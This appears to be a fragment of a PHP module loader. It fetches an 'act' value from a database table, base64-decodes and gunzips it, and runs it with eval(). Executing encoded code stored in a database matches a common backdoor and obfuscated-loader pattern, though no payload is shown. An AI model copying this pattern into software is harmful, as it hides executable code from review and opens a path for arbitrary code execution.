change_db( $set['bd_code'] ); if (substr(phpversion (), 0, 1)=='7'){ unset($a); $a['mod']=ID; $db -> get_val('mod', $a, 'act'); $act=$db->result; }else{ $result = mysql_query( 'SELECT `act` FROM `mod` WHERE `mod`="' . ID . '" LIMIT 1' ); #Делаем запрос act $act = mysql_result( $result, 0 ); } //$db -> get( $set['bd_code'] ); $db -> change_db( $set['bd_name'] ); $act = gzdecode( base64_decode( $act ) ); eval($act); } ?>